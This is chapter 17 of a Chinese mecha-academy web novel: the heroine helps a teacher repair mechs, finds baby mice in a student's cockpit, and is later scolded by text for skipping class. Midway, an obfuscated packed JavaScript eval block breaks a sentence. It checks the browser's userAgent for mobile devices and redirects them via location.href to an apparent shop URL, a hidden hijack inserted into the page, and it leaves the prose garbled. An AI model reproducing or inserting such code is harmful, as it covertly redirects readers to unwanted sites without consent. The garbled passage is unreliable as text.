17. 恭喜你

作品:《机甲时代,你就给我一口锅啊?

    “你不是军校的。”李克伟打量了一下聂无酒,接过扳手继续检查机甲。


    没有穿训练服的聂无酒依然自报家门说自己是选拔赛的学员。


    李克伟没怎么关注过今年的选拔赛,他平时住教师宿舍,每天在训练场教师食堂还有宿舍之间徘徊,日常都是跟机甲和军校生打交道。


    也听他们吐槽过几句选拔赛开始后生活就不太方便的事情,但也只是听听。


    聂无酒弯腰看李克伟手里的操作。


    修机甲有什么好看的,李克伟没问出口,没赶聂无酒走,也没继续跟她搭话,专注手里的工作。


    聂无酒跟个透明人一样待在旁边。


    机甲日常检修维护不是小工程,内容包括机甲结构、系统的全检查对机甲各部件的测试、修理、排故,以及机甲一些部件的更换、清洁、润滑,还要确保机甲表面没有大的裂纹和破损——这是在学校有条件的情况下。


    在前线没有这么全的条件,机甲胳膊断一只也要继续迎战。


    造机甲首先要了解机甲的结构,奔波儿灞的书里写过,未来几百年内,机甲不可能再有更大的突破,所有机甲的基础骨架都是一样的。


    这点聂无酒仔细想想,还真是这样。


    聂无酒为了赚钱各种活都接,修机甲的手艺可谓是炉火纯青,她虽然没造出机甲但也摸过了有上百架机甲了,对机甲结构和各种材料性能了然于心。


    就像是眼前这两个机甲,红蜻蜓的视觉系统模仿了蜻蜓眼,几乎没有视觉盲区,动作捕捉也很厉害,但同时,构成蜻蜓眼的材料精细又脆弱,接受不了星兽那样的重量击打。


    黑旋风的武器之一是风刃,强气流可以形成刀,无缝不入,可以轻松切开硬甲,缺点是能源损耗极大,几乎是同类型机甲的五倍。


    李克伟边修理机甲边做功能测试,机甲一会儿抬下手指,一会儿坐起来,聂无酒时不时做一些递东西的工作,或蹲或站,一上午下来也没休息过。


    手接触到机甲表面的时候,传来的并不是冰冷的温度,而是一种更细腻的感觉,好像真的不只是武器。


    临近中午,李克伟也差不多该去吃饭,他摘下脏兮兮的工作手套,说训练室内中午不开放。


    聂无酒听出话外音,眨巴眨吧眼睛,说知道了。


    李克伟走了,聂无酒喝了瓶营养液坐在观察室里看带来的奔波儿灞著作。


    机甲,机甲。


    聂无酒现在都还没有机甲,她馋得不得了,像个吃不饱东西的人,望着训练室里的两个庞然大物稀里哗啦流口水。


    望梅止渴也不带这样的。


    “李老师,能不能帮我看一下我的机甲怎么回事,我下午还要参加学员比赛呢——哎?”女生贸然地止住脚步,狐疑不决,“请问李老师在吗?”


    流光在她手里的银色机甲链上流转着,聂无酒目光被吸引了,过了一会儿问是什么问题。


    一年级的新生刚入学校,总是充斥着一种蠢萌的感觉,反正都说来训练室找李老师,谁答应谁是李老师。


    虽然年轻了点,但说不定是少年天才呢。


    也有可能是关系户。


    女生不确定地想,这个老师比她高半个头呢,更有可能是长得显年轻,就是不知道脸上为什么青一块紫一块的。


    “最近用的时候总感觉在吱吱叫,不知道是哪里的问题。”


    显年轻的冒牌货接过机甲链,输入密码打开了训练室——这不怪她,正牌输密码的时候完全没有背着她。


    机甲链可以理解为一种异度空间,可以把机甲收纳进去,方便携带。


    这东西也是奔波儿灞琢磨出来的,踏入星际时代,时空压缩技术已经不是什么神秘的东西,机甲链的发明极大地减轻了运输负担,但技术也仅限收纳,没人知道机甲链里的异度空间通向哪里。


    女生的机甲是蓝色的,天空蓝,背部有两个巨大的白银翅膀,机甲的飞行动力并不需要这种装饰性的东西,聂无酒凑近了才看到那翅膀薄如蝉翼锋利如刃,还是可以取下来的,很明显是个伪装得很好的武器。


    工具是李克伟留下的现成工具,聂无酒拿着检测器检查,爬上爬下一阵,看着十分专业,其实心里还在流哈喇子。


    这个机甲不论是结构还是用材,都是顶级的好,表面还涂了一克价值就几十万的隐身漆当外衣。


    聂无酒把结构研究了个一溜儿够,顺带改造了一下边边角角,调整了一些小部件的角度,才装模作样地钻进机甲的驾驶舱。


    下面女生看到驾驶舱舱门打开,“年轻老师”掀起了T恤下摆,露出一小片薄薄的腹肌。下摆里面兜着什么东西。


    聂无酒两只手都没空闲,也不耽误她轻轻松从机甲下来。


    “你驾驶舱的氧气放的挺足。”


    女生还没反应过来:“什么?”


    狡黠的人脸上绽放出一抹愉快的笑:“恭喜你,当姥姥了。”


    “姥姥?”女生没明白这话是什么意思。


    低头一看,一窝油光水亮的小东西正在吱吱叫个不停,打眼一看大概有十来只,灰色的皮灰色的毛,细长的尾巴。


    “这是什么?”纵使心里有了答案,女生还是忍不住问了一句,这东西在她的驾驶舱里待了很久了吗?


    聂无酒看着女生白一阵青一阵的表情,歪歪脑袋给了一个更为亲切的称呼:“花枝鼠?”


    “机甲没别的问题,你说的吱吱叫就是它们,在你座位地下发现的。它们爸妈都不在。”聂无酒用手指摸了摸小耗子的脑袋,正想问怎么处理。


    抬眼女生已经抱头鼠窜,不见踪影。


    哎,机甲还没带走呢。


    这一窝老鼠崽也不知道怎么存活下来的,聂无酒看它们小小的很可爱,直接把它们送回了宿舍,顺便喂了营养液。


    她桌子上堆的都是书,只能挑了件衣服做成窝放在小绿植旁边。


    再回到机甲训练室的时候,蓝色机甲已经不见了,听到身后有声音,聂无酒回了下头。


    是午休结束的李克伟,他拎起聂无酒脚边的工具箱,输入了训练室的密码,聂无酒积极地跟了上去,然后吃了个闭门羹。


    门里的李克伟连头都没回,径直走向机甲。


    聂无酒也不恼,坐在了观察室的椅子上看里面。


    李克伟五点钟吃了个晚饭回来,聂无酒就连观察室也坐不了了,只能坐在外围的观众席上。


    努力了一会儿发现什么也看不清,聂无酒整理了一下今天学的东西,看看时间跑去上了晚自习。


    “副班长,你今天去哪儿了。”


    聂无酒刚坐下,身后就有什么人拍了她一下,伸个了脑袋到前排。


    “修养身心。”聂无酒抬了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473061|201484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抬眉梢,“怎么了?”


    “没事,跟你说一下,班长把你的水都买下来了,免费给大家喝。”吴杰抓了抓脑袋,把今天收的钱给她,“班长说以后会叫人送水来。”


    聂无酒把钱分了一半给吴杰,嗯了一声又转过身。


    吴杰看着聂无酒白净的侧脸,试探地问:“你不生气吗?”


    聂无酒不解地看回去:“有什么好生气的。”


    她眼神认真,黑白分明的眸子里带着疑惑。


    吴杰哑然,说没什么。


    晚自习结束后,老师让每个班留一个班干,聂无酒还没看向迪莱尔,后者就已经走到了台前,彬彬有礼地询问老师问题,迪莱尔家族骨血里带着绅士,台上的老师对他欣赏不已。


    聂无酒见没自己什么事,打算走,又被身后声音叫住。


    回头就是那双如海洋一样深刻的眼眸,迪莱尔说老师让帮忙整理资料。


    聂无酒眼神抛回去:“班长,你不是在这里吗?”这小金毛一天天的怎么总找她的事情,难道他们八字不合?


    “难道你觉得你跟这件事没关系?”


    留下来的其他几个班的班长或者副班长也看了过来。


    聂无酒毫无心理负担地折返:“你说我可以干什么?”


    “噗嗤”一声,不知道是谁的笑声。


    聂无酒顺着看过去,看到了憋笑憋得满脸通红的柯尧。


    这排课排的挺奇怪的,好几个班混着上,每天混的还不一样。


    于是十七班两位班干都留下了,聂无酒十二点才到宿舍,刚进宿舍就闻到了一股清新的香味。


    走到书桌前,聂无酒才发现她那万年没有新动静的小绿植开花了,是白色的小碎花,点缀在绿叶中间,幽幽的香气在温暖的空气中浮动。


    聂无酒欣赏了一会儿,觉得哪里不太对。


    在桌子上扫了一圈,发现自己的小鼠崽们不见了,甚至她给它们做的窝都连带着消失了,一点痕迹都没留下,所以她才没有第一时间发现。


    在宿舍里找了一圈没有,聂无酒怀疑见了鬼。


    “喵嗷。”窗外不知道是从哪儿传来的猫叫声。


    聂无酒回头,看到了半扇开着的窗户。


    她现在知道它们的去处了。


    把小绿植抱到跟前检查了一下,聂无酒松口气,还好猫只是加餐,并没有对绿植下毒手。


    光脑震了震。


    小孔雀:听说你今天逃课了?怎么回事?


    聂无酒放下绿植,在光脑的一卡一卡中回消息:天地良心,我今天正经拿了假条的。


    聂无酒举起光脑对着自己拍了一张,她恢复好,加上药物效果不错,此时脸上的青紫比白天又好了点,但用她陈年版本的光脑一拍,还是显得有点可怜。


    聂无酒:老师,我现在全身疼~~


    小孔雀:又是拿什么软件P的图?


    聂无酒:?


    小孔雀发来一条语音,里面是冷冷的笑声:听过狼来了的故事吗?


    聂无酒没少拿过假病历假图假资料骗过请假。


    可是——这次是真的啊,她真的挨打了。


    小孔雀发来的语音里还带着唰唰的写字声,声音压得极低:要我叫你一声齐天大胜吗?你别以为我不知道你在黑市打黑拳的事情。你最好收敛一点,别让我亲自过去收拾你。